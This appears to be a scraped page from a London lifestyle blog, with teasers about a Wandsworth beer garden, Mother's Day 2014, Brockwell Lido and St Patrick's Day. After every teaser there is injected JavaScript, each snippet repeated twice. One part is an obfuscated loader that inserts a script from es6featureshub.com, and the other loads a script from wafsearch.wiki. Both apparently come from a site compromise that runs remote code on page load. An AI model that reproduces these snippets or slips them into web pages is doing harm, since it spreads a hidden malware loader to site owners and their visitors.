The Grand Union in Wandsworth has a fabulous beer garden, sitting somewhere between a boozy playground and a Thai beach bar, it embodies the joy of afternoon drinking, especially during the summer months. ;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);

20 Feb 2014 | 1 Comment

Mother’s Day London 2014: Eat, Treat, Walk, Tour, and Relax

Mother’s Day is looming closer. The 30th March is a day to show gratitude to your mother for all her love and support. ;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);

16 Feb 2014 | 0 Comments

Brockwell Lido

Forget Electric Avenue, Brockwell Lido is Brixton’s main daytime attraction during the summer. Lush green trees surround this beautiful outdoor pool, making it feel miles away from the city. It’s possibly the closest you’ll get to a tropical oasis in the middle of the South London concrete jungle. The Lido is crowded with pre-work power swimmers by 8am, but it calms down around 9.30am. By this time there are usually a few people hanging out on the café terrace post-lap session, enjoying a well-deserved breakfast. If you are going to pay for scrambled eggs, do it here. They have their technique down with the scramble always arriving fluffy, tasty and non-greasy. The pool is really popular with families on the weekends, weather permitting, but if you arrive early or late in the afternoon you can still get a clear lane. It is staffed by friendly, athletic types and if you’re planning a swimming challenge, or just want to improve your strokes, then it’s asking for “Lido Mike”. Mike coaches everyone from kids to triathletes and Channel swimmers in a separate section of the pool.;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);

15 Feb 2014 | 0 Comments

St Patrick’s Day in London 2014: Drink and Party the Irish Way

It is nearly that time of year again. The 17th March - the day the inhabitants of the Emerald Isle, those with Celtic blood, and just about everybody else, celebrates St Patrick's Day in London.;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);

14 Feb 2014 | 1 Comment

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